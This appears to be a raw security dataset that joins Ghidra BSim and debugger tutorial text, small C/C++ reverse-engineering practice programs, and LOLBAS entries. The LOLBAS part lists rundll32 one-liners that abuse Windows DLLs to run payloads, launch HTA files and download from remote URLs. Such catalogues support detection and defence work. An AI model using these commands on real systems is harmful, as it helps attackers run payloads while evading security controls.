deardaniel/secdata-raw huggingface dataset:
# Overview Queries

An **Overview Query** queries a BSim database for the number of matches to each function in an executable.
The matching functions themselves are not returned. 
Similarity and Confidence thresholds can be set for an Overview Query, but there is no "Matches per Function" bound and no filters can be applied.

To perform an Overview Query, select **BSim -> Perform Overview...** from the Code Browser.

## Exercise: Hit Counts and Self-Significance

1. Perform an Overview query on ``postgres`` using the default query thresholds.
You should see the following result:
![overview window](images/overview_window.png)
1. Sort the table by the "Hit Count" column in ascending order.  Typically, the functions with the largest hit counts will have low self-significance.
Verify that that is the case for this table.
1. Q: Examine the functions with the highest hit count. Why are there so many matches for these functions?
   <details><summary>Answer:</summary> These are all instances of PostgreSQL error-reporting functions.  Their bodies are quite similar and they have identical BSim signatures.</details>

## Exercise: Selections and Queries

Using the hit count column, it is possible to exclude functions with large numbers of matches.

1. In the Overview Table, select all functions whose hit count is 2 or less.
1. Right-click on the selection and perform the **Search Selected Functions** action.
   Sort the query results by descending **Confidence** and verify that ``demangler_gnu_v2_41`` is far down the list.

## Exercise: Vector Hashes

Suppose ``foo`` and ``bar`` have the same number of hits in the Overview table.
There are two possibilities:
1. ``foo`` and ``bar`` have distinct feature vectors which happen to have the same number of matches.
1. ``foo`` and ``bar`` have the same feature vector.

An optional column, **Vector Hash**, can be used to distinguish between these two cases.

1. Enable the **Vector Hash** Column in the Overview Table.
1. Find two functions with the same vector hash.
1. Select the two corresponding rows in the table and then transfer the selection to the Listing using the ![make selection icon](images/text_align_justify.png) icon in the BSim Overview toolbar.
1. In the Listing, right-click and perform **Function -> Compare Function(s)**
1. In the resulting Function Comparison window, convince yourself that these two functions should have the same BSim signature.

Next Section: [Queries and Filters](BSimTutorial_Filters.md)
# Creating and Populating a BSim Database from the Ghidra GUI 

This section explains how to create and populate an H2-backed BSim database from the Ghidra GUI. 

## Creating the Database

To create a BSim database, first create a directory on your file system to contain the database.

Next, perform the following steps from the Ghidra Code Browser:

1.  Run the Ghidra script ``CreateH2BSimDatabaseScript.java``.
1.  In the resulting dialog:
    1. Enter "example" in the **Database Name** field. 
    1. Select the new directory in the **Database Directory** field.
    1. Don't change any of the other fields.  
1.  Click **OK**.

## Populating the Database

We now populate the database with an executable which is contained in the Ghidra distribution.

1. Import and analyze the executable ``<ghidra_install_dir>/GPL/DemanglerGnu/os/linux_x86_64/demangler_gnu_v2_41`` using the default analysis options.
1. Save the analyzed program.
1. Run the Ghidra script ``AddProgramToH2BSimDatabaseScript.java`` on this program.
    - The script will ask you to select an H2 database file.  Use ``example.mv.db`` in the database directory.
1. In general you can run this script on other programs to add their signatures to this database, but that's not necessary for the exercises in the next section.

Next Section: [Basic BSim Queries](BSimTutorial_Basic_Queries.md)
The Student Guide can be used in a classroom setting and can also be used as a self-paced tutorial. Use the slides "withNotes" to see more details about each slide. 

NOTE: Some versions of Microsoft Edge do not correctly render the class slides. To get the slides to render correctly, click on the "..." in top right of the Edge browser and then click once on zoom +. 

If using Internet Explorer or Edge, ensure that your browser is the most recent version (must be using document mode 10+)
# Debugger Ghidra Class

This is the courseware for the Debugger training class.
It is meant to be viewed directly in GitHub or GitLab but can also be rendered for offline viewing in a classroom.
The courseware was developed with Linux user-space targets in mind, but many of the concepts and information apply to the other platforms.
There are differences in getting started, some subtleties in target behavior, and of course different instruction set architectures, but for the most part, the user interface is the same across the platforms.

## Table of Contents

### Beginner Material

1. [Getting Started](A1-GettingStarted.md)
1. [A Tour of the UI](A2-UITour.md)
1. [Breakpoints](A3-Breakpoints.md)
1. [Machine State: Memory, Registers, and Variables](A4-MachineState.md)
1. [Navigation](A5-Navigation.md)
1. [Memory Map](A6-MemoryMap.md)

### Advanced Material

1. [Remote Targets](B1-RemoteTargets.md)
1. [Emulation](B2-Emulation.md)
1. [Scripting](B3-Scripting.md)
1. [Modeling](B4-Modeling.md)
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>
#include<stdlib.h>

void printMessage(void);

int main(int argc, char **argv){
    asm(".intel_syntax noprefix");
    asm(".byte 0xeb, 0xff, 0xc0");
    asm(".att_syntax prefix");
    printMessage();
    return EXIT_SUCCESS;
}

void printMessage(void){
    printf("\nIn printMessage function.\n\n");
    return;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
char *hello = "Hello World!\n";

int main(int argc, char **argv){
    asm(".intel_syntax noprefix");
    asm("mov rax,1");
    asm("mov rdi,1");
    asm("mov rsi, QWORD PTR hello[rip]");
    asm("mov rdx, 13");
    asm("syscall");
    asm(".att_syntax prefix");
    return 0;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdlib.h>

typedef struct {
    long a;
    int b;
    char * c;
    short d;
} exampleStruct;

typedef exampleStruct * exampleStructPtr;


void setFirstAndThird(exampleStructPtr ptr, long x, char *str){
    ptr->a = x;
    ptr->c = str;
}

void setSecondAndFourth(exampleStructPtr ptr, int y, short z){
    ptr->b = y;
    ptr->d = z;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>
#include<stdlib.h>

long switchFunc(long);

int main(int argc, char **argv){
    long x = strtol(argv[1],NULL,10);
    return (int) switchFunc(x);
}

long switchFunc(long x){
    long retVal = 0;
    switch(x){
        case 0:
            retVal = 0;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 1:
            retVal = 1;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 2:
            retVal = 22;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 3:
            retVal = 333;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 4:
            retVal = 4444;
            printf("\nReturning %ld\n\n", retVal);
            break;            
        case 5:
            retVal = 55555;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 6:
            retVal = 666666;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 7:
            retVal = 7777777;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 8:
            retVal = 88888888;
            printf("\nReturning %ld\n\n", retVal);
            break;
        case 9:
            retVal = 999999999;
            printf("\nReturning %ld\n\n", retVal);
            break;
        default:
            retVal = -1;
            printf("\nReturning %ld\n\n", retVal);
            break;
    }
    return retVal;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<string>
#include<iostream>

class Animal{
    protected:
        unsigned long weight;
        unsigned long age;
        std::string name;
    public:
        Animal(long w, long a, std::string n){
            weight = w;
            age = a;
            name = n;
        }
        void printInfo(){
            std::cout << "Name: " << name << ", age: " << age << ", weight: " << weight << '\n';     
        } 
        std::string getName(void){ return name;}
        virtual void printSound(void) = 0; 
        virtual void printSpecificFact(void) = 0;
        virtual int getAnimalAge(void) = 0;
};

class Cat : public Animal {
    protected:
        unsigned long numLives;
    public:
        Cat(unsigned long w, unsigned long a, std::string n, long num) : Animal(w,a,n){
            numLives = num;
        }
        void printSound(void) { std::cout << name << " says MEOW!\n";}
        void printSpecificFact(void){ std::cout << name + " has " + std::to_string(numLives) + " lives";}
        int getAnimalAge(void){ return age * 4 + 20;}
};

class Dog : public Animal {
    protected:
        bool wantsWalk;
    public:
        Dog(unsigned long w, unsigned long a, std::string n): Animal(w,a,n){
            wantsWalk = true;
        }
        void printSound(void) {std::cout << name << " says BARK!\n";}
        void printSpecificFact(void) {std::cout << name + " wants a walk";}
        int getAnimalAge(void) {return age * 7;}
};



int main(int argc, char **argv){
    Animal *a;
    if (argc % 2 == 0){
        a = new Cat(8,3,"Lord Meowington II",9);
    }
    else {
        a = new Dog(60, 5, "Pigblob 9000");
    }
    std::cout << '\n';
    a->printInfo();
    a->printSound();
    a->printSpecificFact(); 
    int animalAge = a->getAnimalAge();
    delete(a);
    return animalAge;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdlib.h>
#include<stdio.h>

int main(int argc, char **argv){
    long numerator = strtoul(argv[1],NULL,10);
    long denominator = strtoul(argv[2],NULL,10);
    ldiv_t res = ldiv(numerator,denominator);
    printf("\nquotient: %ld, remainder: %ld\n", res.quot, res.rem);
    return EXIT_SUCCESS;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>
#include<stdlib.h>

//compile with fomit-frame-pointer
//how to turn off inferred variable references

long sum(void);
void diff(void);

int main(int argc, char **argv){    
    asm(".intel_syntax noprefix");
    register long a asm ("r14"); 
    register long b asm ("r15");  
    register long c asm ("rbx");
    asm(".att_syntax prefix");

    a = strtol(argv[1], NULL, 10);
    b = strtol(argv[2], NULL, 10);
    long s = sum();
    printf("sum: %ld\n", s);
    asm(".intel_syntax noprefix");
    asm("push r15");
    asm("push r14"); 
    asm(".att_syntax prefix");
    diff();
    printf("diff: %ld\n",c);
   
    return 0;
}

long sum(void){
    asm(".intel_syntax noprefix");
    asm("mov rax, r14");
    asm("add rax, r15");
}

void diff(void){
    asm(".intel_syntax noprefix");
    asm("mov rbx, [rsp+8]");
    asm("sub rbx, [rsp+0x10]");
    asm("ret 16");
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>

//compile with -shared -fPIC, no optimizations

void __attribute__((noreturn)) loopForever(int);
void printInput(unsigned long, unsigned long);
void printInputThenLoop(unsigned long, unsigned long);

void __attribute__((noreturn)) loopForever(int x)  {
    for(;;){
        printf("x: %d\n",x);
    }
}

void printInputThenLoop1(unsigned long a, unsigned long b){
    printf("\na: %lu, b: %lu\n",a,b);
    loopForever(1);
}

asm (".byte 0xff");
asm (".byte 0xff");

void printInput(unsigned long a, unsigned long b){
    printf("\na: %lu, b%lu\n\n",a,b);
    return;
}

void printInputThenLoop2(unsigned long a, unsigned long b){
    printf("\na: %lu, b: %lu\n", a,b);
    loopForever(2);
}

asm (".byte 0xe8");

unsigned long add(unsigned long a, unsigned long b){
    return a+b;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char **argv){
    if (argc != 3){
        printf("\nUsage: %s input1 input2\n\n",argv[0]);
        return EXIT_SUCCESS;
    }
    unsigned long input = strtoul(argv[1], NULL, 10);
    input *= input;
    input = input % 4;
    if (input >= 2){
       asm(".intel_syntax noprefix");
       asm(".byte 0xeb");
       asm(".byte 0x9");
       asm(".att_syntax prefix");
    }
    else {
        unsigned long second = strtoul(argv[2],NULL,10);
        input = second << 2 + input;
        printf("Returning %ld\n", input);
    }
    return input;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>

int a = 1;
long b = 2;
double c = 3.0;
char d[] = "4";


int overrideSignature(int e,int f, int g, int h){
    return printf("a: %d, b: %ld, c: %g, d: %s, e: %d, %d, %d, %d\n", a,b,c,d,e,f,g,h);
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>
#include<stdlib.h>

char * const readOnly = "This string can't be modified, so the decompiler will show it.";
char *writeable = "This string might change, so the decompiler won't show it.";

volatile int status;

int counter;

int main(int argc, char **argv){ 
    printf("%s\n",readOnly);
    printf("%s\n",writeable);
    status = 0;
    while (status == 0){
        counter++;
    }
    printf("\nEncountered non-zero value for status. Counter = %d\n", counter);
    return 0;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdio.h>
#include<stdlib.h>

long func1(long, long, long);
long func2(long, long, long, long);
long sumOfSquares(long,long);

int main(int argc, char **argv){
     if (argc != 5){
         printf("\nUsage: %s a b c d\n\n",argv[0]);
         return EXIT_SUCCESS;
     }
     long a = strtol(argv[1],NULL,10);
     long b = strtol(argv[2],NULL,10);
     long c = strtol(argv[3],NULL,10);
     long d = strtol(argv[4],NULL,10);
     return (int) (func1(a,b,c) + func2(a,b,c,d));
}

long func1(long a, long b, long c){
    long x = c*(a+b);
    long y = c*(a-b);
    return sumOfSquares(x,y);
}


long func2(long a, long b, long c, long d){
    long x = a*c;
    long y = b*d;
    return sumOfSquares(x,y);
}

long sumOfSquares(long a, long b){
    return a*a + b*b;
}
/* ###
 * IP: GHIDRA
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include<stdlib.h>

long c;
register long *b asm("r15");

void initRegisterPointerVar(){
    b = &c;
}

void setRegisterPointerVar(long x){
    *b = x;
}

long getRegisterPointerVar(){
    return *b;
}
LOLBAS — Living Off the Land: Shdocvw.dll
Author: LOLBAS Team

Description:
Shell Doc Object and Control Library.

Technique — Load an executable payload by calling a .url file with or without quotes. The .url file extension can be renamed.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}
LOLBAS — Living Off the Land: Advpack.dll
Author: LOLBAS Team

Description:
Utility for installing software and drivers with rundll32.exe

Technique — Run local or remote script(let) code through INF file specification.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,

Technique — Run local or remote script(let) code through INF file specification.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,

Technique — Load a DLL payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}

Technique — Run an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}

Technique — Run an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32 advpack.dll, RegisterOCX {CMD}
LOLBAS — Living Off the Land: Mshtml.dll
Author: LOLBAS Team

Description:
Microsoft HTML Viewer

Technique — Launch an HTA application.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}
LOLBAS — Living Off the Land: PhotoViewer.dll
Author: Avihay Eldad

Description:
Windows Photo Viewer

Technique — Download file from remote location.:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
LOLBAS — Living Off the Land: Desk.cpl
Author: Hai Vaknin

Description:
Desktop Settings Control Panel

Technique — Launch any executable payload, as long as it uses the .scr extension.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}

Technique — Launch any executable payload, as long as it uses the .scr extension.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}